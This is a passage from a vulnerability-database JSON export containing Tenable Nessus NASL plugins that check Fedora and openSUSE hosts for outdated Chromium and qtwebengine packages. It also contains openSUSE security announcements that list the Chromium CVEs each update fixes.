audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"FC26\", reference:\"qt5-qtwebengine-5.9.1-1.fc26\")) flag++;\n\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"qt5-qtwebengine\");\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-01-07T10:13:01", "description": "Chromium 59. Add smaller logo files. Fix lots of security bugs:\nSecurity fix for CVE-2017-5070, CVE-2017-5071, CVE-2017-5072,\nCVE-2017-5073, CVE-2017-5074, CVE-2017-5075, CVE-2017-5086,\nCVE-2017-5076, CVE-2017-5077, CVE-2017-5078, CVE-2017-5079,\nCVE-2017-5080, CVE-2017-5081, CVE-2017-5082, CVE-2017-5083,\nCVE-2017-5085\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.", "edition": 20, "cvss3": {"score": 8.8, "vector": "AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}, "published": "2017-07-13T00:00:00", "title": "Fedora 24 : 1:chromium-native_client (2017-b8d76bef4e)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2017-5080", "CVE-2017-5082", "CVE-2017-5076", "CVE-2017-5073", "CVE-2017-5081", "CVE-2017-5085", "CVE-2017-5074", "CVE-2017-5072", "CVE-2017-5071", "CVE-2017-5078", "CVE-2017-5083", "CVE-2017-5075", "CVE-2017-5070", "CVE-2017-5077", "CVE-2017-5079", "CVE-2017-5086"], "modified": "2017-07-13T00:00:00", "cpe": ["p-cpe:/a:fedoraproject:fedora:1:chromium-native_client", "cpe:/o:fedoraproject:fedora:24"], "id": "FEDORA_2017-B8D76BEF4E.NASL", "href": "https://www.tenable.com/plugins/nessus/101510", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory FEDORA-2017-b8d76bef4e.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(101510);\n script_version(\"3.6\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/06\");\n\n script_cve_id(\"CVE-2017-5070\", \"CVE-2017-5071\", \"CVE-2017-5072\", \"CVE-2017-5073\", \"CVE-2017-5074\", \"CVE-2017-5075\", \"CVE-2017-5076\", \"CVE-2017-5077\", \"CVE-2017-5078\", \"CVE-2017-5079\", \"CVE-2017-5080\", \"CVE-2017-5081\", \"CVE-2017-5082\", \"CVE-2017-5083\", \"CVE-2017-5085\", \"CVE-2017-5086\");\n script_xref(name:\"FEDORA\", value:\"2017-b8d76bef4e\");\n\n script_name(english:\"Fedora 24 : 1:chromium-native_client (2017-b8d76bef4e)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Chromium 59. Add smaller logo files. Fix lots of security bugs:\nSecurity fix for CVE-2017-5070, CVE-2017-5071, CVE-2017-5072,\nCVE-2017-5073, CVE-2017-5074, CVE-2017-5075, CVE-2017-5086,\nCVE-2017-5076, CVE-2017-5077, CVE-2017-5078, CVE-2017-5079,\nCVE-2017-5080, CVE-2017-5081, CVE-2017-5082, CVE-2017-5083,\nCVE-2017-5085\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bodhi.fedoraproject.org/updates/FEDORA-2017-b8d76bef4e\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected 1:chromium-native_client package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:1:chromium-native_client\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:24\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2017/10/27\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2017/07/11\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2017/07/13\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2017-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = pregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^24([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 24\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"FC24\", reference:\"chromium-native_client-59.0.3071.86-1.20170607gitaac1de2.fc24\", epoch:\"1\")) flag++;\n\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"1:chromium-native_client\");\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-01-20T12:32:57", "description": "This update to Chromium 59.0.3071.86 fixes the following security\nissues :\n\n - CVE-2017-5070: Type confusion in V8\n\n - CVE-2017-5071: Out of bounds read in V8\n\n - CVE-2017-5072: Address spoofing in Omnibox\n\n - CVE-2017-5073: Use after free in print preview\n\n - CVE-2017-5074: Use after free in Apps Bluetooth\n\n - CVE-2017-5075: Information leak in CSP reporting\n\n - CVE-2017-5086: Address spoofing in Omnibox\n\n - CVE-2017-5076: Address spoofing in Omnibox\n\n - CVE-2017-5077: Heap buffer overflow in Skia\n\n - CVE-2017-5078: Possible command injection in mailto\n handling\n\n - CVE-2017-5079: UI spoofing in Blink\n\n - CVE-2017-5080: Use after free in credit card autofill\n\n - CVE-2017-5081: Extension verification bypass\n\n - CVE-2017-5082: Insufficient hardening in credit card\n editor\n\n - CVE-2017-5083: UI spoofing in Blink\n\n - CVE-2017-5085: Inappropriate JavaScript execution on\n WebUI pages", "edition": 23, "cvss3": {"score": 8.8, "vector": "AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}, "published": "2017-06-08T00:00:00", "title": "openSUSE Security Update : chromium (openSUSE-2017-661)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2017-5080", "CVE-2017-5082", "CVE-2017-5076", "CVE-2017-5073", "CVE-2017-5081", "CVE-2017-5085", "CVE-2017-5074", "CVE-2017-5072", "CVE-2017-5071", "CVE-2017-5078", "CVE-2017-5083", "CVE-2017-5075", "CVE-2017-5070", "CVE-2017-5077", "CVE-2017-5079", "CVE-2017-5086"], "modified": "2017-06-08T00:00:00", "cpe": ["p-cpe:/a:novell:opensuse:chromedriver-debuginfo", "p-cpe:/a:novell:opensuse:chromium", "p-cpe:/a:novell:opensuse:chromium-debugsource", "p-cpe:/a:novell:opensuse:chromedriver", "cpe:/o:novell:opensuse:42.2", "p-cpe:/a:novell:opensuse:chromium-debuginfo"], "id": "OPENSUSE-2017-661.NASL", "href": "https://www.tenable.com/plugins/nessus/100676", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from openSUSE Security Update openSUSE-2017-661.\n#\n# The text description of this plugin is (C) SUSE LLC.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(100676);\n script_version(\"3.8\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/19\");\n\n script_cve_id(\"CVE-2017-5070\", \"CVE-2017-5071\", \"CVE-2017-5072\", \"CVE-2017-5073\", \"CVE-2017-5074\", \"CVE-2017-5075\", \"CVE-2017-5076\", \"CVE-2017-5077\", \"CVE-2017-5078\", \"CVE-2017-5079\", \"CVE-2017-5080\", \"CVE-2017-5081\", \"CVE-2017-5082\", \"CVE-2017-5083\", \"CVE-2017-5085\", \"CVE-2017-5086\");\n\n script_name(english:\"openSUSE Security Update : chromium (openSUSE-2017-661)\");\n script_summary(english:\"Check for the openSUSE-2017-661 patch\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote openSUSE host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"This update to Chromium 59.0.3071.86 fixes the following security\nissues :\n\n - CVE-2017-5070: Type confusion in V8\n\n - CVE-2017-5071: Out of bounds read in V8\n\n - CVE-2017-5072: Address spoofing in Omnibox\n\n - CVE-2017-5073: Use after free in print preview\n\n - CVE-2017-5074: Use after free in Apps Bluetooth\n\n - CVE-2017-5075: Information leak in CSP reporting\n\n - CVE-2017-5086: Address spoofing in Omnibox\n\n - CVE-2017-5076: Address spoofing in Omnibox\n\n - CVE-2017-5077: Heap buffer overflow in Skia\n\n - CVE-2017-5078: Possible command injection in mailto\n handling\n\n - CVE-2017-5079: UI spoofing in Blink\n\n - CVE-2017-5080: Use after free in credit card autofill\n\n - CVE-2017-5081: Extension verification bypass\n\n - CVE-2017-5082: Insufficient hardening in credit card\n editor\n\n - CVE-2017-5083: UI spoofing in Blink\n\n - CVE-2017-5085: Inappropriate JavaScript execution on\n WebUI pages\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1042833\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected chromium packages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:chromedriver\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:chromedriver-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:chromium\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:chromium-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:chromium-debugsource\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:opensuse:42.2\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2017/06/07\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2017/06/08\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2017-2021 Tenable Network Security, Inc.\");\n script_family(english:\"SuSE Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release =~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"openSUSE\");\nif (release !~ \"^(SUSE42\\.2)$\") audit(AUDIT_OS_RELEASE_NOT, \"openSUSE\", \"42.2\", release);\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\nourarch = get_kb_item(\"Host/cpu\");\nif (!ourarch) audit(AUDIT_UNKNOWN_ARCH);\nif (ourarch !~ \"^(x86_64)$\") audit(AUDIT_ARCH_NOT, \"x86_64\", ourarch);\n\nflag = 0;\n\nif ( rpm_check(release:\"SUSE42.2\", reference:\"chromedriver-59.0.3071.86-104.15.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"chromedriver-debuginfo-59.0.3071.86-104.15.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"chromium-59.0.3071.86-104.15.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"chromium-debuginfo-59.0.3071.86-104.15.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"chromium-debugsource-59.0.3071.86-104.15.1\") ) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"chromedriver / chromedriver-debuginfo / chromium / etc\");\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-01-07T10:13:13", "description": "Chromium 59. Add smaller logo files. Fix lots of security bugs:\nSecurity fix for CVE-2017-5070, CVE-2017-5071, CVE-2017-5072,\nCVE-2017-5073, CVE-2017-5074, CVE-2017-5075, CVE-2017-5086,\nCVE-2017-5076, CVE-2017-5077, CVE-2017-5078, CVE-2017-5079,\nCVE-2017-5080, CVE-2017-5081, CVE-2017-5082, CVE-2017-5083,\nCVE-2017-5085\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.", "edition": 20, "cvss3": {"score": 8.8, "vector": "AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}, "published": "2017-07-17T00:00:00", "title": "Fedora 26 : 1:chromium-native_client (2017-c11d7ef69a)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2017-5080", "CVE-2017-5082", "CVE-2017-5076", "CVE-2017-5073", "CVE-2017-5081", "CVE-2017-5085", "CVE-2017-5074", "CVE-2017-5072", "CVE-2017-5071", "CVE-2017-5078", "CVE-2017-5083", "CVE-2017-5075", "CVE-2017-5070", "CVE-2017-5077", "CVE-2017-5079", "CVE-2017-5086"], "modified": "2017-07-17T00:00:00", "cpe": ["p-cpe:/a:fedoraproject:fedora:1:chromium-native_client", "cpe:/o:fedoraproject:fedora:26"], "id": "FEDORA_2017-C11D7EF69A.NASL", "href": "https://www.tenable.com/plugins/nessus/101715", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory FEDORA-2017-c11d7ef69a.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(101715);\n script_version(\"3.6\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/06\");\n\n script_cve_id(\"CVE-2017-5070\", \"CVE-2017-5071\", \"CVE-2017-5072\", \"CVE-2017-5073\", \"CVE-2017-5074\", \"CVE-2017-5075\", \"CVE-2017-5076\", \"CVE-2017-5077\", \"CVE-2017-5078\", \"CVE-2017-5079\", \"CVE-2017-5080\", \"CVE-2017-5081\", \"CVE-2017-5082\", \"CVE-2017-5083\", \"CVE-2017-5085\", \"CVE-2017-5086\");\n script_xref(name:\"FEDORA\", value:\"2017-c11d7ef69a\");\n\n script_name(english:\"Fedora 26 : 1:chromium-native_client (2017-c11d7ef69a)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Chromium 59. Add smaller logo files. Fix lots of security bugs:\nSecurity fix for CVE-2017-5070, CVE-2017-5071, CVE-2017-5072,\nCVE-2017-5073, CVE-2017-5074, CVE-2017-5075, CVE-2017-5086,\nCVE-2017-5076, CVE-2017-5077, CVE-2017-5078, CVE-2017-5079,\nCVE-2017-5080, CVE-2017-5081, CVE-2017-5082, CVE-2017-5083,\nCVE-2017-5085\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bodhi.fedoraproject.org/updates/FEDORA-2017-c11d7ef69a\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected 1:chromium-native_client package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:1:chromium-native_client\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:26\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2017/10/27\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2017/06/26\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2017/07/17\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2017-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = pregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^26([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 26\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"FC26\", reference:\"chromium-native_client-59.0.3071.86-1.20170607gitaac1de2.fc26\", epoch:\"1\")) flag++;\n\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"1:chromium-native_client\");\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "suse": [{"lastseen": "2020-02-27T20:32:58", "bulletinFamily": "unix", "cvelist": ["CVE-2020-6407", "CVE-2020-6418"], "description": "This update for chromium fixes the following issues:\n\n Chromium was updated to version 80.0.3987.122 (bsc#1164828).\n\n Security issues fixed:\n\n - CVE-2020-6418: Fixed a type confusion in V8 (bsc#1164828).\n - CVE-2020-6407: Fixed an OOB memory access in streams (bsc#1164828).\n - Fixed an integer overflow in ICU (bsc#1164828).\n\n Non-security issues fixed:\n\n - Dropped the sandbox binary as it should not be needed anymore\n (bsc#1163588).\n\n", "edition": 1, "modified": "2020-02-27T18:23:09", "published": "2020-02-27T18:23:09", "id": "OPENSUSE-SU-2020:0259-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2020-02/msg00033.html", "title": "Security update for chromium (important)", "type": "suse", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-02-26T20:32:51", "bulletinFamily": "unix", "cvelist": ["CVE-2020-6407", "CVE-2020-6418"], "description": "This update for chromium fixes the following issues:\n\n Chromium was updated to version 80.0.3987.122 (bsc#1164828).\n\n Security issues fixed:\n\n - CVE-2020-6418: Fixed a type confusion in V8 (bsc#1164828).\n - CVE-2020-6407: Fixed an OOB memory access in streams (bsc#1164828).\n - Fixed an integer overflow in ICU (bsc#1164828).\n\n Non-security issues fixed:\n\n - Dropped the sandbox binary as it should not be needed anymore\n (bsc#1163588).\n\n", "edition": 1, "modified": "2020-02-26T18:11:22", "published": "2020-02-26T18:11:22", "id": "OPENSUSE-SU-2020:0245-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2020-02/msg00030.html", "title": "Security update for chromium (important)", "type": "suse", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2017-06-08T02:14:06", "bulletinFamily": "unix", "cvelist": ["CVE-2017-5080", "CVE-2017-5082", "CVE-2017-5076", "CVE-2017-5073", "CVE-2017-5081", "CVE-2017-5085", "CVE-2017-5074", "CVE-2017-5072", "CVE-2017-5071", "CVE-2017-5078", "CVE-2017-5083", "CVE-2017-5075", "CVE-2017-5070", "CVE-2017-5077", "CVE-2017-5079", "CVE-2017-5086"], "description": "This update to Chromium 59.0.3071.86 fixes the following security issues:\n\n - CVE-2017-5070: Type confusion in V8\n - CVE-2017-5071: Out of bounds read in V8\n - CVE-2017-5072: Address spoofing in Omnibox\n - CVE-2017-5073: Use after free in print preview\n - CVE-2017-5074: Use after free in Apps Bluetooth\n - CVE-2017-5075: Information leak in CSP reporting\n - CVE-2017-5086: Address spoofing in Omnibox\n - CVE-2017-5076: Address spoofing in Omnibox\n - CVE-2017-5077: Heap buffer overflow in Skia\n - CVE-2017-5078: Possible command injection in mailto handling\n - CVE-2017-5079: UI spoofing in Blink\n - CVE-2017-5080: Use after free in credit card autofill\n - CVE-2017-5081: Extension verification bypass\n - CVE-2017-5082: Insufficient hardening in credit card editor\n - CVE-2017-5083: UI spoofing in Blink\n - CVE-2017-5085: Inappropriate javascript execution on WebUI pages\n\n", "edition": 1, "modified": "2017-06-08T00:09:12", "published": "2017-06-08T00:09:12", "href": "http://lists.opensuse.org/opensuse-security-announce/2017-06/msg00004.html", "id": "OPENSUSE-SU-2017:1502-1", "title": "Security update for chromium (important)", "type": "suse", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2017-06-08T02:14:06", "bulletinFamily": "unix", "cvelist": ["CVE-2017-5080", "CVE-2017-5082", "CVE-2017-5076", "CVE-2017-5073", "CVE-2017-5081", "CVE-2017-5085", "CVE-2017-5074", "CVE-2017-5072", "CVE-2017-5071", "CVE-2017-5078", "CVE-2017-5083", "CVE-2017-5075", "CVE-2017-5070", "CVE-2017-5077", "CVE-2017-5079", "CVE-2017-5086"], "description": "This update to Chromium 59.0.3071.86 fixes the following security issues:\n\n - CVE-2017-5070: Type confusion in V8\n - CVE-2017-5071: Out of bounds read in V8\n - CVE-2017-5072: Address spoofing in Omnibox\n - CVE-2017-5073: Use after free in print preview\n - CVE-2017-5074: Use after free in Apps Bluetooth\n - CVE-2017-5075: Information leak in CSP reporting\n - CVE-2017-5086: Address spoofing in Omnibox\n - CVE-2017-5076: Address spoofing in Omnibox\n - CVE-2017-5077: Heap buffer overflow in Skia\n - CVE-2017-5078: Possible command injection in mailto handling\n - CVE-2017-5079: UI spoofing in Blink\n - CVE-2017-5080: Use after free in credit card autofill\n - CVE-2017-5081: Extension verification bypass\n - CVE-2017-5082: Insufficient hardening in credit card editor\n - CVE-2017-5083: UI spoofing in Blink\n - CVE-2017-5085: Inappropriate javascript execution on WebUI pages\n\n", "edition": 1, "modified": "2017-06-08T00:09:01", "published": "2017-06-08T00:09:01", "href": "http://lists.opensuse.org/opensuse-security-announce/2017-06/msg00003.html", "id": "OPENSUSE-SU-2017:1501-1", "title": "Security update for chromium (important)", "type": "suse", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2019-02-19T01:01:39", "bulletinFamily": "unix", "cvelist": ["CVE-2019-5766", "CVE-2019-5769", "CVE-2019-5758", "CVE-2019-5761", "CVE-2019-5767", "CVE-2019-5777", "CVE-2019-5772", "CVE-2019-5763", "CVE-2019-5771", "CVE-2019-5776", "CVE-2019-5764", "CVE-2019-5755", "CVE-2019-5762", "CVE-2019-5757", "CVE-2019-5768", "CVE-2019-5754", "CVE-2019-5782", "CVE-2019-5779", "CVE-2019-5756", "CVE-2019-5770", "CVE-2019-5778", "CVE-2019-5775", "CVE-2019-5773", "CVE-2019-5780", "CVE-2019-5784", "CVE-2019-5765", "CVE-2019-5781", "CVE-2019-5759", "CVE-2019-5760", "CVE-2019-5774"], "description": "This update for Chromium to version 72.0.3626.96 fixes the following\n issues:\n\n Security issues fixed (bsc#1123641 and bsc#1124936):\n\n - CVE-2019-5784: Inappropriate implementation in V8\n - CVE-2019-5754: Inappropriate implementation in QUIC Networking.\n - CVE-2019-5782: Inappropriate implementation in V8.\n - CVE-2019-5755: Inappropriate implementation in V8.\n - CVE-2019-5756: Use after free in PDFium.\n - CVE-2019-5757: Type Confusion in SVG.\n - CVE-2019-5758: Use after free in Blink.\n - CVE-2019-5759: Use after free in HTML select elements.\n - CVE-2019-5760: Use after free in WebRTC.\n - CVE-2019-5761: Use after free in SwiftShader.\n - CVE-2019-5762: Use after free in PDFium.\n - CVE-2019-5763: Insufficient validation of untrusted input in V8.\n - CVE-2019-5764: Use after free in WebRTC.\n - CVE-2019-5765: Insufficient policy enforcement in the browser.\n - CVE-2019-5766: Insufficient policy enforcement in Canvas.\n - CVE-2019-5767: Incorrect security UI in WebAPKs.\n - CVE-2019-5768: Insufficient policy enforcement in DevTools.\n - CVE-2019-5769: Insufficient validation of untrusted input in Blink.\n - CVE-2019-5770: Heap buffer overflow in WebGL.\n - CVE-2019-5771: Heap buffer overflow in SwiftShader.\n - CVE-2019-5772: Use after free in PDFium.\n - CVE-2019-5773: Insufficient data validation in IndexedDB.\n - CVE-2019-5774: Insufficient validation of untrusted input in\n SafeBrowsing.\n - CVE-2019-5775: Insufficient policy enforcement in Omnibox.\n - CVE-2019-5776: Insufficient policy enforcement in Omnibox.\n - CVE-2019-5777: Insufficient policy enforcement in Omnibox.\n - CVE-2019-5778: Insufficient policy enforcement in Extensions.\n - CVE-2019-5779: Insufficient policy enforcement in ServiceWorker.\n - CVE-2019-5780: Insufficient policy enforcement.\n - CVE-2019-5781: Insufficient policy enforcement in Omnibox.\n\n For a full list of changes refer to\n <a rel=\"nofollow\" href=\"https://chromereleases.googleblog.com/2019/02/stable-channel-update-for-des\">https://chromereleases.googleblog.com/2019/02/stable-channel-update-for-des</a>\n ktop.html\n\n", "edition": 1, "modified": "2019-02-18T21:10:36", "published": "2019-02-18T21:10:36", "id": "OPENSUSE-SU-2019:0206-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2019-02/msg00041.html", "title": "Security update for chromium (important)", "type": "suse", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2019-02-19T19:03:58", "bulletinFamily": "unix", "cvelist": ["CVE-2019-5766", "CVE-2019-5769", "CVE-2019-5758", "CVE-2019-5761", "CVE-2019-5767", "CVE-2019-5777", "CVE-2019-5772", "CVE-2019-5763", "CVE-2019-5771", "CVE-2019-5776", "CVE-2019-5764", "CVE-2019-5755", "CVE-2019-5762", "CVE-2019-5757", "CVE-2019-5768", "CVE-2019-5754", "CVE-2019-5782", "CVE-2019-5779", "CVE-2019-5756", 